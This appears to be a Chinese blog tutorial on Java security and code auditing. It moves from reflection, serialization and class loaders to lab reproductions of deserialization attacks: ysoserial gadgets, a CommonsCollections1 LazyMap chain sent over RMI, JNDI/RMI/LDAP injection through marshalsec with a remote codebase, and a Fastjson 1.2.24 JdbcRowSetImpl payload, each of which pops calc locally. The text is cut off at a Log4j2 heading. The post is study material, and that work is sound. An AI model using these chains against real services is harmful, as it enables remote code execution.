/1dreamGN/Blog

1dreamGN

Java安全-代码审计基础-持续更新

54
2024-10-06

Java反射

在Java编程中,反射(Reflection)是一种强大的机制,允许程序在运行时检查和操作类、方法、字段等结构。通过反射,开发者可以在编译时不知道具体类的情况下,动态地加载类、调用方法、访问字段等。

什么是反射?

java反射机制的核心是在程序运行的时候动态加载类并获取类的详细信息,从而操作类或对象的属性和方法。

如果你不知道类或对象的具体信息,自然也就没办法在编码阶段使用new来创建对象和使用对象。你就可以使用反射来使用Dog类。

比如在spring中,就有使用反射来动态构造类和属性的使用。

在编译时根本无法知道对象或类可能属于哪些类,程序只能依靠运行时,信息来发现该对象和类的真实信息。

比如:log4j、servlet、ssm框架技术都用到了反射机制。

反射的主要用途

  1. 动态加载类:可以在运行时加载类,而不是在编译时就确定。

  2. 访问私有成员:可以访问和修改类的私有字段和方法。

  3. 实现通用代码:编写适用于多种类的通用方法,如序列化、依赖注入等。

  4. 框架开发:许多框架(如Spring、Hibernate)大量使用反射来实现其功能。

反射的核心类

Java反射主要通过以下几个核心类来实现:

  • Class:代表一个类或接口。

  • Constructor:代表类的构造方法。

  • Method:代表类的方法。

  • Field:代表类的字段。

代码示例解析

下面我们通过一个具体的代码示例,详细解析Java反射的使用。

示例代码

假设我们有两个类:MainDog

package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        // 使用全限定类名加载Dog类
        Class<?> c = Class.forName("org.example.Dog");
        
        // 获取Dog类中带有一个String参数的构造方法
        Constructor<?> cs = c.getDeclaredConstructor(String.class);
        
        // 使用构造方法创建Dog类的实例,并传入参数"旺财"
        Object o = cs.newInstance("旺财");
        
        // 获取Dog类中的私有字段"name"
        Field f = c.getDeclaredField("name");
        
        // 设置字段"name"为可访问,即使是私有字段也可以进行操作
        f.setAccessible(true);
        
        // 将实例o中的"name"字段的值修改为"大黄"
        f.set(o, "大黄");
        
        // 获取Dog类中带有一个String参数的say方法
        Method m = c.getDeclaredMethod("say", String.class);
        
        // 调用实例o的say方法,并传入参数"汪汪汪"
        m.invoke(o, "汪汪汪");
        
        // 打印实例o的信息
        System.out.println(o);
    }
}
package org.example;

public class Dog {
    private String name;
    
    public Dog(){}
    
    public Dog(String name){
        this.name = name;
    }
    
    public Dog(int i){}
    
    public void say(){
        System.out.println(name + "嗷嗷叫");
    }
    
    public void say(String message){
        System.out.println(name + ":" + message);
    }
}

代码解析

  1. 加载类

    Class<?> c = Class.forName("org.example.Dog");
    • Class.forName 方法用于在运行时动态加载类。这里传入的是类的全限定名(包括包名),即 org.example.Dog

    • 返回值 Class<?> 表示加载的类对象。

  2. 获取构造方法

    Constructor<?> cs = c.getDeclaredConstructor(String.class);
    • getDeclaredConstructor 方法用于获取类中声明的构造方法。这里传入的是构造方法的参数类型 String.class,表示获取带有一个 String 参数的构造方法。

  3. 创建类的实例

    Object o = cs.newInstance("wangcai");
    • newInstance 方法使用获取到的构造方法创建类的实例,并传入构造方法所需的参数 "wangcai"

    • 返回值 Object 是创建的类的实例。

  4. 获取和修改私有字段

    Field f = c.getDeclaredField("name");
    f.setAccessible(true);
    f.set(o, "dahuang");
    • getDeclaredField 方法用于获取类中声明的字段。这里获取的是 name 字段。

    • setAccessible(true) 方法设置字段为可访问,即使是私有字段也可以进行操作。

    • set 方法用于设置字段的值。这里将实例 o 中的 name 字段值修改为 "dahuang"

  5. 调用方法

    Method m = c.getDeclaredMethod("say", String.class);
    m.invoke(o, "wangwangwang");
    • getDeclaredMethod 方法用于获取类中声明的方法。这里获取的是带有一个 String 参数的 say 方法。

    • invoke 方法用于调用方法。这里调用实例 osay 方法,并传入参数 "wangwangwang"

  6. 打印对象信息

    System.out.println(o);
    • 打印实例 o 的信息。这里会调用 Dog 类的 toString() 方法。如果 Dog 类没有重写 toString() 方法,默认会显示对象的内存地址信息。

反射的优点

  1. 动态性:反射允许在运行时动态加载类和调用方法,增加了程序的灵活性。

  2. 通用性:可以编写适用于多种类的通用方法,如序列化、依赖注入等。

  3. 扩展性:通过反射可以实现插件机制,方便程序的扩展和维护。

反射的缺点

  1. 性能开销:反射操作比直接调用方法或访问字段要慢,因为涉及到动态解析。

  2. 安全性问题:反射可以绕过访问控制,访问和修改私有字段和方法,可能带来安全隐患。

  3. 代码可读性差:反射代码通常比直接调用方法或访问字段的代码复杂,可读性和维护性较差。

序列化和反序列化

  • Java序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中。

  • Java反序列化是指把字节序列恢复为Java对象的过程。

序列化的应用场景

一种是将对象持久化保存到硬盘/数据库。序列化机制并不是Java语言才有的。我们知道Java对象的数据都是存放在内存中的。但内存不具备持久化特性,一旦进程关闭或设备关机,内存中的数据将永远消失。但有些场景却需要将对象持久化保存,例如用户的Session,如果Session缓存清空,用户就需要重新登陆,为了使缓存系统内存中的Session对象一直有效,就需要一种机制将对象从内存中保存到磁盘,并且待系统重启后还能将Session对象恢复到内存中,这个过程就是对象序列化与反序列化的过程,从而避免了用户会话的有效性受系统故障的影响。

此外还有一种场景就是需要将一台主机中的对象通过网络传输给另一台机器,如RPC,RMI,网络传输等场景。

序列化相关协议

对象的反序列化技术实现并不唯一。常见的反序列化协议有:

  • XML&SOAP

  • JSON

  • Protobuf

  • Java Serializable接口

序列化相关操作

将对象序列化成数据

只有实现了Serializable接口的类的对象才能被序列化为字节序列。Serializable接口是Java提供的序列化接口。Serializable用来标识当前类可以被ObjectOutputStream序列化,以及被ObjectInputStream反序列化。

我们可以调用ObjectOutputStream的writeObject方法序列化一个类并写入硬盘。

先定义一个toString类,让其输出格式为Dog{name='xxx'},并将Dog实现Serializable类

package org.example;

import java.io.Serializable;

public class Dog implements Serializable {
    private String name;
    Dog(){}
    Dog(String name){
        this.name = name;
    }
    Dog(int i){

    }
    void say(){
        System.out.println(name+"嗷嗷叫");
    }
    void say(String message){
        System.out.println(name+":" + message);
    }

    @Override
    public  String toString(){
        return "Dog{"+
                "name='" + name + '\'' +
                '}';
    }
}

创建Ser.java

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
        Dog dog = new Dog("旺财");
        serializable("ser.bin",dog);

    }

}

先创建一个Serializable序列化类,通过ObjectOutputStream中的writeObject序列化,并将序列化的内容生成到ser.bin文件中。

运行,生成ser.bin文件。

然后反序列化ser.bin文件,通过ObjectInputStream中的readObject读取ser.bin文件,反序列化输出内容。

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
        Dog dog = new Dog("旺财");
//        serializable("ser.bin",dog);

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}

类加载器

类加载器是一个负责加载类的对象,用于实现类加载过程中的加载这一步,每个Java类都有一个引用指向加载他的classLoader。

简单来说,类加载器的主要作用是加载Java类的字节码(.class文件)到JVM中(在内存中生成一个代表该类的class对象)。字节码可以是Java源程序(.java文件)经过javac编译得来,也可以是通过工具动态生成或者网络下载得来。

加载器分类

1. 启动类加载器(Bootstrap ClassLoader)

描述

启动类加载器是最顶层的类加载器,通常表示null,并且没有父级。负责加载 Java 核心类库,包括 java.lang 包、java.util 包等位于 JAVA_HOME/jre/lib 目录下的核心类库。

特点

  • 实现方式:由 JVM 使用本地(native)代码实现,不是纯 Java 类。

  • 父加载器:没有父加载器,处于类加载器层次结构的顶端。

  • 可见性:对其他类加载器不可见,无法被直接引用。

示例

// 获取启动类加载器(通常返回 null,因为它是用本地代码实现的)
ClassLoader bootstrapClassLoader = String.class.getClassLoader();
System.out.println(bootstrapClassLoader); // 输出: null

2. 扩展类加载器(Extension ClassLoader)

描述

扩展类加载器负责加载 Java 的扩展类库,这些类库位于 JAVA_HOME/jre/lib/ext 目录下,或者由 java.ext.dirs 系统属性指定的其他目录中的类。

特点

  • 实现方式:由 sun.misc.Launcher$ExtClassLoader 实现,是纯 Java 类。

  • 父加载器:启动类加载器(Bootstrap ClassLoader)。

  • 可见性:可以被应用程序类加载器访问。

示例

// 获取扩展类加载器
ClassLoader extClassLoader = java.util.jar.JarFile.class.getClassLoader();
System.out.println(extClassLoader); // 输出: sun.misc.Launcher$ExtClassLoader@<hashcode>

3. 应用程序类加载器(Application ClassLoader)

描述

面向我们用户的加载器,负责加载应用程序的类路径(classpath)中的类,即用户自定义的类和第三方库。

特点

  • 实现方式:由 sun.misc.Launcher$AppClassLoader 实现,是纯 Java 类。

  • 父加载器:扩展类加载器(Extension ClassLoader)。

  • 可见性:可以被应用程序中的所有类访问。

示例

// 获取应用程序类加载器
ClassLoader appClassLoader = Main.class.getClassLoader(); // 假设当前类为 Main
System.out.println(appClassLoader); // 输出: sun.misc.Launcher$AppClassLoader@<hashcode>

4. 自定义类加载器(Custom ClassLoader)

描述

除了上面的加载器外,用户还可以加入自定义的类加载器来进行拓展,以满足自己的特殊需求。就比如说,我们可以对Java类的字节码(.class文件)进行加密,加载时再利用自定义的加载器对其解密。

特点

  • 实现方式:继承 java.lang.ClassLoader 并重写相关方法,如 findClass

  • 父加载器:通常是应用程序类加载器,但可以根据需要设置其他加载器作为父加载器。

  • 灵活性:提供更高的灵活性,满足特定应用场景的需求。

示例

public class CustomClassLoader extends ClassLoader {
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        // 自定义类的加载逻辑,例如从文件系统或网络中读取类的字节码
        byte[] classData = loadClassData(name);
        if (classData == null) {
            throw new ClassNotFoundException();
        }
        return defineClass(name, classData, 0, classData.length);
    }

    private byte[] loadClassData(String className) {
        // 实现类的字节码加载逻辑
        // 例如,读取文件系统中的 .class 文件
        return null; // 示例中返回 null
    }
}

类加载器的层次结构

Java 类加载器遵循双亲委派模型(Parent Delegation Model)​,其层次结构如下:

Bootstrap ClassLoader
       ↑
Extension ClassLoader
       ↑
Application ClassLoader
       ↑
Custom ClassLoader(如果有)

双亲委派模型的工作原理

  1. 请求加载类时,类加载器首先将加载请求委派给其父加载器。

  2. 父加载器尝试加载,如果成功则返回该类;如果失败,则子加载器尝试自己加载。

  3. 只有当父加载器无法加载时,子加载器才会尝试加载类。

这种机制确保了类的唯一性和安全性,避免了同一个类被多个类加载器重复加载,同时也防止了用户自定义的恶意替换核心类库中的类。

说白了就是先找找父类有没有这个类,没有的话就加载自己写的类,有的话就加载父类中的这个类。

类加载器案例

根据以上项目新建一个Java类为Person的文件。

package org.example;

public class Person {
    static String a;
    static  int b;
    static {
        System.out.println("静态代码块");
    }
    public Person(){
        System.out.println("无参构造器");

    }
}

将代码以UTF-8的形式编译成class文件。

javac -encoding UTF-8 .\Person.java

创建ClassLoaderTest类,将生成的class文件路径填写到下方,动态运行实例,点击运行。输出文字。

package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\38123\\Desktop\\javasec\\src\\main\\java\\org\\example\\")});
        Class<?> aClass = cl.loadClass("org.example.Person");
        Object o = aClass.newInstance();
//        System.out.println(Dog.class.getClassLoader());

    }
}

Ysoserial

一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

项目地址

frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

用法

$ java -jar ysoserial.jar

Y SO SERIAL?

Usage: java -jar ysoserial.jar [payload] '[command]'

Available payload types:

Payload Authors Dependencies

------- ------- ------------

AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2

BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5

C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11

Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0

Clojure @JackOfMostTrades clojure:1.8.0

CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

CommonsCollections1 @frohoff commons-collections:3.1

CommonsCollections2 @frohoff commons-collections4:4.0

CommonsCollections3 @frohoff commons-collections:3.1

CommonsCollections4 @frohoff commons-collections4:4.0

CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1

CommonsCollections6 @matthias_kaiser commons-collections:3.1

CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1

FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4

Groovy1 @frohoff groovy:2.3.9

Hibernate1 @mbechler

Hibernate2 @mbechler

JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21

JRMPClient @mbechler

JRMPListener @mbechler

JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1

JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21

Jdk7u21 @frohoff

Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2

MozillaRhino1 @matthias_kaiser js:1.7R2

MozillaRhino2 @_tint0 js:1.7R2

Myfaces1 @mbechler

Myfaces2 @mbechler

ROME @mbechler rome:1.0

Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE

Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2

URLDNS @gebl

Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14

Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

我使用的是GUI版本的yso生成工具,先将cc7链生成一个bin文件放到项目根目录。

然后在pom.xml引用cc3.2.1模块,maven重新加载项目。

还是之前的Ser.java,修改部分代码如下:

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("cc7.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}

运行代码,成功弹出计算器。

有些cc链要根据所依赖的环境或者库来进行选择。

URLDNS反序列化利用链

分析yso中的URLDNS payload,利用链过程并不复杂。

Gadget Chain:

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

接下来使用这个链,这个链会向我们指定的目标服务器发送一条DNS请求,达到一个类似于SSRF的效果。

首先先在bp或者dnslog生成一个链接,这里我用bp。将生成的url填入工具然后生成。

还是Ser.java,引用刚才生成的urldns.bin,运行

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("urldns.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}

返回查看bp,有请求记录。

等有时间再来进行利用链分析。

反序列化利用中的RMI

概念介绍

RMI的全称是Remote Method Invocation,即远程方法调用。Java的RMI远程调用特指,一个Jvm中的代码可以通过网络实现远程调用另一个Jvm的方法,也可以说RMI就是RPC(远程过程调用协议)在JAVA语言中的实现。

在这个场景下分为三方角色,分别是:

  • 服务端

  • 客户端

  • 注册中心

服务端和客户端持有相同的接口(interface)文件,不同的是,客户端持有的仅仅是接口(也就是函数方法的声明),而服务端拥有该接口的具体实现(implements)。客户端可以在不知道接口实现细节的情况下调用服务端的实现代码。

而注册中心在其中充当什么角色?我们知道,客户端支持有接口不持有实现类,那么问题来了,接口必须被实现后才能被调用。因此,客户端获得的接口方法返回值实际上是通过网络从服务器端获取的。这个时候就需要注册中心登场了。

客户端持有的接口实际上对应了一个"实现类",它是由Registry通过动态代理生成的,内部负责把方法调用通过网络传递到服务器端,而服务器端也并非我们写的接口实现来解析网络请求数据,而是由注册中心代为解析,然后去调用服务器端上真正的接口实现函数。

演示

创建RMIServer和RMIClient项目,然后各创建一个名为Calc的类,以下是Calc.java的代码。

package org.example; // 定义包名为 org.example

import java.rmi.Remote; // 导入 Remote 接口,用于标识远程方法
import java.rmi.RemoteException; // 导入 RemoteException,用于处理远程调用中的异常

public interface Calc extends Remote { // 定义 Calc 接口,继承 Remote 接口以支持远程调用
    public int add(int a, int b) throws RemoteException; // 定义 add 方法,用于计算两个整数的和,可能抛出 RemoteException
    public void print(Object o) throws RemoteException; // 定义 print 方法,用于打印传入的对象,可能抛出 RemoteException
}

RMIServer中再创建CalcImpl类和RMIServer类。

package org.example; // 定义包名为 org.example

import java.rmi.RemoteException; // 导入 RemoteException,用于处理远程调用中的异常

public class CalcImpl implements Calc { // 定义 CalcImpl 类,实现 Calc 接口
    @Override
    public int add(int a, int b) throws RemoteException { // 实现 add 方法,计算两个整数的和
        int result = a + b; // 计算 a 和 b 的和
        System.out.printf("%d + %d = %d\n", a, b, result); // 打印计算过程和结果
        return result; // 返回计算结果
    }

    @Override
    public void print(Object o) throws RemoteException { // 实现 print 方法,打印传入的对象
        System.out.println(o); // 打印对象
    }
}

package org.example; // 定义包名为 org.example

import java.rmi.RemoteException; // 导入 RemoteException,用于处理远程调用中的异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry,用于创建或获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry,用于管理 RMI 注册表
import java.rmi.server.UnicastRemoteObject; // 导入 UnicastRemoteObject,用于导出远程对象

public class RMIServer { // 定义 RMIServer 类,作为 RMI 服务器
    public static void main(String[] args) throws RemoteException { // 主方法,程序入口
        Registry registry = LocateRegistry.createRegistry(1099); // 创建 RMI 注册表,监听端口 1099
        CalcImpl calc = new CalcImpl(); // 创建 CalcImpl 实例,实现远程接口
        registry.rebind("calc", UnicastRemoteObject.exportObject(calc, 0)); // 将 calc 对象绑定到注册表,名称为 "calc",并导出为远程对象
        System.out.println("RMI Server is running..."); // 打印服务器启动信息

        // 保持服务运行
        while (true) { // 无限循环,确保服务器持续运行
            try {
                Thread.sleep(1000); // 线程休眠 1 秒,避免 CPU 占用过高
            } catch (InterruptedException e) { // 捕获线程中断异常
                e.printStackTrace(); // 打印异常信息
                break; // 退出循环
            }
        }
    }
}

接下来在RMIClient项目中创建RMIClient类先测试一下通不通。

运行server,再运行client,成功输出3,能够正常运行。

接下来插入cc1链恶意代码。LazyMap和TransformedMap很相似,都通过这个decorate方法来传入参数,传参类型也一致。并且它的get方法中的factory会去执行transform方法。因为TransformedMap在我电脑上没能成功执行,改换成LazyMap。

package org.example; // 定义包名为 org.example

import org.apache.commons.collections.Transformer; // 导入 Transformer 接口,用于定义对象转换逻辑
import org.apache.commons.collections.functors.ChainedTransformer; // 导入 ChainedTransformer,用于将多个 Transformer 串联
import org.apache.commons.collections.functors.ConstantTransformer; // 导入 ConstantTransformer,用于返回固定值
import org.apache.commons.collections.functors.InvokerTransformer; // 导入 InvokerTransformer,用于反射调用方法
import org.apache.commons.collections.map.LazyMap; // 导入 LazyMap,用于延迟计算 Map 的值

import java.io.FileOutputStream; // 导入 FileOutputStream,用于文件输出
import java.io.IOException; // 导入 IOException,用于处理输入输出异常
import java.io.ObjectOutputStream; // 导入 ObjectOutputStream,用于对象序列化
import java.lang.annotation.Target; // 导入 Target 注解,用于反射示例
import java.lang.reflect.Constructor; // 导入 Constructor,用于反射创建对象
import java.lang.reflect.InvocationTargetException; // 导入 InvocationTargetException,用于处理反射调用异常
import java.rmi.NotBoundException; // 导入 NotBoundException,用于处理 RMI 未绑定异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry,用于获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry,用于管理 RMI 注册表
import java.util.HashMap; // 导入 HashMap,用于创建 Map
import java.util.Map; // 导入 Map 接口,用于定义键值对集合

public class RMIClient { // 定义 RMIClient 类,作为 RMI 客户端
    public static void main(String[] args) throws IOException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { // 主方法,程序入口
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 获取本地 RMI 注册表,端口为 1099
        Calc calc = (Calc) registry.lookup("calc"); // 查找名为 "calc" 的远程对象
        calc.print(cc1()); // 调用远程对象的 print 方法,传入 cc1() 生成的恶意对象
    }

    public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { // 定义 cc1 方法,生成恶意对象
        Transformer[] transformers = new Transformer[] { // 定义 Transformer 数组,用于串联多个转换逻辑
                new ConstantTransformer(Runtime.class), // 返回 Runtime.class
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 反射调用 getMethod("getRuntime")
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 反射调用 invoke(null, null)
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 反射调用 exec("calc.exe")
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 将多个 Transformer 串联
        Map<Object, Object> map = new HashMap<>(); // 创建一个 HashMap
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); // 使用 LazyMap 包装 HashMap,延迟执行转换逻辑
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取 AnnotationInvocationHandler 类
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 获取其构造函数
        constructor.setAccessible(true); // 设置构造函数可访问
        Object obj = constructor.newInstance(Target.class, lazyMap); // 创建 AnnotationInvocationHandler 实例
        lazyMap.get("foo"); // 触发 LazyMap 的 transform 操作,执行恶意代码
        return obj; // 返回生成的恶意对象
    }
}

运行代码,成功执行命令。

JRMP

JRMP(Java Remote Method Protocol)是 Java RMI(Remote Method Invocation,远程方法调用)的底层通信协议。它用于在 Java 应用程序之间实现远程方法调用,是 RMI 的核心组成部分。走的是TCP/IP协议。JRMP协议也仅用于RMI调用。

如果我们不知道REIserver注册中心的那边的接口情况,或者那边没有接受Object的参数的接口的时候,我们又该如何利用呢?

我们现将之前写好的RMIserver和RMIclient运行起来,用wireshark抓取流量包,发现有JRMP交互,数据包中有java序列化的内容。

既然是反序列化数据我们就会想到是不是通过反序列化将这个序列化数据转换为Java对象呢,既然有这样一个过程,那我们直接将正常的序列化代码替换成恶意的序列化的代码,反序列化后会直接触发恶意的利用链。

先运行RMIserver。

通过工具生成恶意序列化代码。

然后会弹出计算器。

JNDI注入基础

JNDI:简单来说,JNDI(Java Naming Directory Interface)是一组应用接口程序,他为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个JAVA远程对象。JNDI底层支持rmi远程对象,rmi注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序(Naming Directory Providers),RMI注册表服务提供程序允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散解耦合,RMI客户端直接通过url来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。

下面演示下:

我找了个低版本的java1.8,来实现演示,先将恶意类evil进行编译成class文件。

import java.io.IOException;

public class evil {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}

编译成功后运行RMIServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("xxx", referenceWrapper);
        System.out.println("RMI server is running...");
    }
}

将恶意类evil加载并实例化对象,并托管到127.0.0.1:8000以便下载,将恶意引用绑定到 RMI 注册表的 xxx上面,并起一个python http 服务,端口为8000。

接下来写一个test类,用来验证是否能攻击成功。绑定url为rmi://127.0.0.1:1099/xxx

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/xxx");

    }
}

用低版本java1.8运行该代码,成功弹出计算器。

接下来用工具marshalsec开启LDAP服务,pythonweb服务也开启。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099

修改代码JNDITest,并编译运行,成功弹出计算器。

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1099/evil");

    }
}

Fastjson1.2.24漏洞原理和JdbcRowSetImpl链

漏洞复现

利用条件:fastjson版本<=1.2.24

攻击方准备

1.恶意代码

还是这个恶意类

import java.io.IOException;

public class evil {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}

编译好启动一个http服务器,端口8000,

接下来用工具marshalsec开启LDAP服务,pythonweb服务也开启。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099

fastjson代码

package org.example;
import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String text = "{\n" +
                " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" +  // 指定恶意类
                " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" +  // 指向攻击者的LDAP服务
                " \"autoCommit\" : true\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
                "}";
        JSON.parseObject(text);  // 反序列化触发漏洞
    }
}

直接运行,成功弹出计算器。

开始分析链

在这之前,先简单说以下fastjson是怎么工作的。

首先,先写一个Person类。

package org.example;

public class Person {
    private String name;
    private int age;
    public Person(){
        System.out.println("实例化Person");
    }
    public String getName(){ return name;}
    public void setName(String name){
        System.out.println("setName="+ name);
        this.name = name;
    }
    public int getAge(){ return age;}
    public void setAge(int age){
        System.out.println("setAge="+ age);
        this.age = age;
    }

}

然后修改main主函数,使用反射调用输出结果。

package org.example;
import com.alibaba.fastjson.JSON;


public class Main {
    public static void main(String[] args) {
//        String text = "{\n" +
//                " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" +  // 指定恶意类
//                " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" +  // 指向攻击者的LDAP服务
//                " \"autoCommit\" : true\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
//                "}";
        String text = "{\n" +
                " \"@type\" : \"org.example.Person\",\n" +  // 指定恶意类
                " \"name\" : \"mingming\",\n" +  // 指向攻击者的LDAP服务
                " \"age\" : 32\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
                "}";
        Object o = JSON.parseObject(text);  // 反序列化触发漏洞
        System.out.println(o.getClass().getName());
    }
}

输出为实例化

Person

setName=mingming

setAge=32

com.alibaba.fastjson.JSONObject

fastjson会将json中的key拼接set并将首字母大写,就是setKey,然后去寻找你需要反射的java的类中有没有这个方法,有的话就会把value传进去,实际的话是这么操作的。

根据观察,调用了Person中的无参构造方法Person、setName和setAge,那么我们只需要找到有这么一个类,它的无参构造方法可以被利用,或者说它的setxxx方法里面有恶意代码可以被我们利用就行了。实际上是无参构造方法的话,因为我们不能给它传递值,所以是比较难利用的,那我们就找setxxx方法。

首先先点进去com.sun.rowset.JdbcRowSetImpl这个类。

搜索AutoCommit找到setAutoCommit方法。

看这个判断,没什么东西,看else中的代码 conn = connect();

if(conn != null) {
           conn.setAutoCommit(autoCommit);
        } else {
           // Coming here means the connection object is null.
           // So generate a connection handle internally, since
           // a JdbcRowSet is always connected to a db, it is fine
           // to get a handle to the connection.

           // Get hold of a connection handle
           // and change the autcommit as passesd.
           conn = connect();

           // After setting the below the conn.getAutoCommit()
           // should return the same value.
           conn.setAutoCommit(autoCommit);

        }

看到了lookup,这个参数还可控,就想起了JNDI注入,如何给可控参数getDataSourceName()赋值,我们找一下这个方法。

看得出来可以直接赋值,但是前面还有个条件:

如何让这个conn等于null,我们找这个conn的定义。发现这个conn初始化的时候就是为null,就是无构造参数方法,这样就会走到我们下面的分支,成功利用漏洞。

@type传入的就是我们所需要利用的恶意类,dataSourceName就是要传入ldap恶意注入服务器地址,接下来传入autoCommit,就触发恶意代码了。

Log4j2漏洞

什么是log4j

